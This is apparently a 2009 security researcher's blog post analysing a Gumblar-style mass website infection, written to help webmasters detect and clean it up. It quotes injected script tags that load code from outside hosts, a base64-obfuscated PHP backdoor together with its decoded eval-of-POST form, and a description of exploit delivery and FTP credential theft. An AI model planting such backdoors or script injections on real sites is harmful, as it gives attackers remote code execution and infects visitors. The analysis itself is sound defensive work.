Do you remember Gumblar? The massive hacker attack that managed to infect more than a hundred thousand legitimate web sites in a very short time this May? The infection was relatively easy to detect but very hard to completely get rid of. It infected various types of files and created backdoor scripts in inconspicuous places of websites so that hackers could easily restore the malicious content.
The gumblar .cn site (and its immediate successor martuz .cn) had been promptly shut down. As a result,the malicious script injected into hacked websites became harmless for site visitors. However, many webmasters failed to properly clean up their sites after the Gumblar infection, leaving the backdoor scripts intact. It was predicted that hackers would find the way to utilize this army of potentially controllable websites. Now, five months later, we see a new surge of a massive attack that resembles Gumblar in many aspects.
Instead of the infamous obfuscated script, this time hackers inject a tag that loads an external script (I use one script URLs here as an example. There are many others).
<script src=http://melodicsongs .com/ autosuggest/bollywoodthisweek.php ></script>
This script can be usually found right before the <body> tag.
Such an external script is less suspicious than a long unreadable script used by Gumblar.
document.write('<script src=http://melodicsongs .com/ autosuggest/bollywoodthisweek.php ><\/script>');
Webmasters usually search for malicious code in HTML files only and forget about .js files since their content is not visible when they use the “View Page Source” command in web browsers.
On some sites, I noticed that hackers intentionally uploaded pre-infected popular scripts (builder.js, effects.js, lightbox.js, prototype.js, scriptaculous.js) and included those .js files in infected web pages. Some webmasters don’t know their sites’ architecture well enough to spot alien scripts, especially when they have such benign names.
On different compromised sites this script tag loads the malicious content from different hosts. I currently have a list of 60+ 150 300 750+ URL of malicious scripts located on different servers all around the world.
Moreover, hackers regularly update the injected code and the scipt tag on the same site may contain different src values on different days. This makes the detection more difficult if someone tries to scan files for specific malicious URL.
Another interesting side effect of using multiple malicious servers is the attack draws less attention of security specialists since every new URL may be considered as an independent case (by the way, each URL serves slightly different exploit files).
In case of Gumblar, every hacked site pointed to gumblar .cn. Anti-virus alerts mentioned only gumblar .cn. Security companies had impressive statistics for sites infected with the Gumblar script (60,000 to 200,000 sites). People talked only about Gumblar. Press talked about Gumblar. As a result of this enormous publicity the gumblar .cn domain name had been quickly shut down (the same happened to martuz .cn), which effectively stopped the attack. A single source of the malicious content was the weakest link of Gumblar, its single point of failure.
Now that different hacked sites point to different malicious locations, there is no solid stream of information about the attack. The infection statistics for each URL is not that impressive. Each malicious URL can be found on a relatively small number of sites (100 – 2,000) – not enough to talk about an epidemic. This helps hackers stay under the radar even in the active phase of the attack. Being less prominent means that security companies spend less time fighting the threat. Nonetheless, the overall effect of this attack may be comparable to Gumblar. At this point I detected over 5,000 6,000 unique compromised sites and I don’t think my list is complete.
On the other hand, everyone talks about different URLs and it’s hard to find a common denominator and see the whole picture. Trying to resolve the same issue, webmasters of different sites are searching for information about different malicious URLs. As a result, they can’t find a single source of information and miss usefull posts that don’t mention the particular URL found on their own sites. This makes it harder for webmasters to find relevant information and effectively clean up their sites. As a result the infection time frame increases.
I’ll try to compile all information about this attack here, posting all known malicious URLs so that webmasters of affected sites could find this article regardless of the script modification found on their sites.
Here is a small part of the list. The full list that contains 700+ URLs of Gumblar zombies moved to this page
This list is not complete. I’ll try to update it when I find new malicious URLs.
At this point note the distinctive feature of these URLs: they all refer to a PHP script in a sub-directory of a third-party site.
Finding a code that links to websites you don’t know anything about should be suspicious itself, but if you find an external script with a source resembling one of the above URLs, make sure to read the rest of this post.
The malicious scripts reside on hacked legitimate websites. This probably is the most innovative feature of this incarnation of the attack. You can’t just shut down the sites or domain names since they belong to legitimate resources. Of course, the sites can be blacklisted (say by Google) but at this point less than 20% of them are listed as suspicious (mainly because of other more old problems).
I’ve never seen hackers placing exploit files directly on hacked websites before. Legitimate websites was only used to silently redirect visitors to sites that belonged to criminals. Sometimes hackers create spammy pages on legitimate websites (either for SEO purpose or to have a cheap non-blacklisted location to link to from their spam emails.) But I don’t remember them serving exploits directly from hacked files. The main reason is probably this sort of activity can be easily detected by owners of compromised sites: traces in logs, significantly increased bandwidth usage, etc. Injected scripts and iframes more convenient to them since they don’t leave any traces in logs and don’t affect bandwidth usage.
So why do they use compromised sites now? Aren’t they afraid to be unmasked? I guess, they don’t. And here’s why:
Very convenient, isn’t it? Hackers no longer have to worry about abuse-proof servers and bandwidth. No need to register hundreds of domain names that become blacklisted very soon. It’s all disposable by nature, so why not have it for free at the expense of webmasters who don’t look after their sites?
The malicious code depends on the version of your web browser and your operating systems. You get different code for IE6, IE7, Firefox (didn’t test other browsers). And if you are on Linux you simply get the 404 – not found error. This way hackers try to exploit known vulnerabilities of visitors’ computers.
For example, in all versions of the script they try to load a malicious PDF file if they detect that “PDF.PdfCtrl” or “AcroPDF.PDF” (Adobe Reader or Adobe Acrobat) plugin is installed and the version of the product older than 9.0 but not 8.1.3 (current version is 9.2.0)
Another universal exploit is a Flash file for the “ShockwaveFlash.ShockwaveFlash.9” (Shockwave Flash) plugin if its version is older than 9.124 (current version is 10.0.32.18) As you can see, the malware targets pretty old vulnerabilities that had been fixed about a year ago. I wonder, how many web surfers didn’t bother to upgrade the plugins? It looks like many.
Each zombie site serves slightly modified binaries of the exploits. A week ago the files easily passed the VirusTotal check undetected. Today I checked the same files and the PDF was detected as malicious by 5 out of 41 AV tools and the SWF files were detected by 4 out of 41 AV tools.
In case of IE7, hackers also try to exploit vulnerabilities in “OWC10.Spreadsheet“/”OWC11.Spreadsheet” plugins. It’s Office Web Components. In other words, MS Excel working inside Internet Explorer.
For IE6, they try a VBScript that simply writes a trojan .exe into the Startup folder of the Windows Programs menu. (Do you still use IE6?)
Not only do hackers target different browsers, they also target different countries. On each zombie server i found a binary file of the latest (Oct 1, 2009) MaxMinds GeoLite Country database.
Backdoor scripts are almost identical to those used during the Gumblar stage of the attack.
Scripts with filename “image.php” and “gifimg.php” can be found in images directories of compromised sites.
<?php e val(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?>
When deobfuscated, the code reads like
if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found');
This script executes any PHP code that hackers pass via a POST HTTP request. Hackers like POST requests because unlike GET requests, they don’t leave any information about passed parameters in web server logs. So you can’t detect any suspicious activity when you look through server logs.
In image.php, the code also echoes some predefined string like “36392b39332e3134342e33343a726f6674616d663a4e3669693355363056376132“. Probably they use it to verify that the script is correctly uploaded and is still there.
These two are general purpose backdoor scripts that can be used for any tasks. There is a more specialized script. The following code is injected at the top of some existing PHP files.
<?php eval(base64_decode('aWYoIWlzc2V0KCRueW5oeTEpKXtmdW5jd ... J10pKTs=')); ?>
In this script the base64-encoded string is much longer than in gifimg.php files (I shorten it here to make the code snippet more readable).
This script executes PHP code passed as a POST parameter too, so it can potentially be used for any tasks. But it also defines one interesting function that injects malicious script tags into web pages. The script tags are injected either before the <body> tag, or at the very bottom of files if they contain a substring ‘,a (strange condition, isn’t it?). Before injecting the new tags, this script tries to to remove malicious code of previous attacks (it tries to remove hidden iframes and certain types of scripts.)
As Gumblar, this attack also uses stolen FTP credentials. This fact was confirmed by security departments of web hosting providers who inspected FTP logs.
Back in May, Gumblar behavior was tested on an intentionally infected Windows computer. The test proved that malware steals passwords saved in FTP programs (FileZilla in that case).
It was also noticed that Gumblar (and this new attack) infects sites that were previously infected with hidden malicious iframes. That iframe injection attack steals FTP credentials from configuration files of 10 popular FTP clients. The fact that Gumblar backdoor scripts tries to remove hidden iframes from HTML files before injecting malicious script tags also suggests some relationship between them. This makes me think that either these two types of hacker attacks are run by the same people, or they share the same database of stolen FTP credentials. They may also use the same password stealing trojans.
It’s a good idea to use something like NoScript that only allows script execution from trusted domains. This way, if you see a warning that some script have been blocked on your site, you can be sure that something’s wrong and you should scan files on server for suspicious scripts.
You can also use Unmask Parasites. However, since most of the zombie sites are still not blacklisted by Google, you won’t see warnings. Nonetheless, the malicious scripts will be listed in the External References section and you should be able to spot unknown domain names.
To detect this infection, scan every file on server for script tags that point to strange PHP scripts located in subdirectories of unfamiliar third-party sites. They can be usually found right before the <body> tag. As a webmaster you should know which scripts belong to your site and which don’t.
Make sure to check every .js file. The malicious code starts with “document.write(‘<script src=…” and can be usually found at the very bottom.
Then search for backdoor scripts. Scan the whole directory tree for files with names “gifimg.php” and “image.php“. They can be usually found in “images” directories.
Then search for files that contain the “eval(base64_decode(…))” construction. It is usually used to obfuscate malicious code.
I’d like to thank Michael Karr (HostGator) and Patrick Webster (phpBB.com Support Team) for sending me samples of malicious PHP code and some useful information that I wouldn’t be able to get without internal access to compromised websites. Thank you! Your help was indispensable!
It looks like we have a lot of information about this attack. However I still have many questions. What is the real relationship between Gumblar and the iframe-injection attack? What PHP code is passed to the backdoor scripts? I’d like to see the PHP code of the scripts on the zombie sites (server admins: check if any of them is hosted on your servers). Any additional information is welcome.
Found any inaccuracy or errors in my article? Have a question? Or just want to share your experience? Please leave your comments below or contact me directly.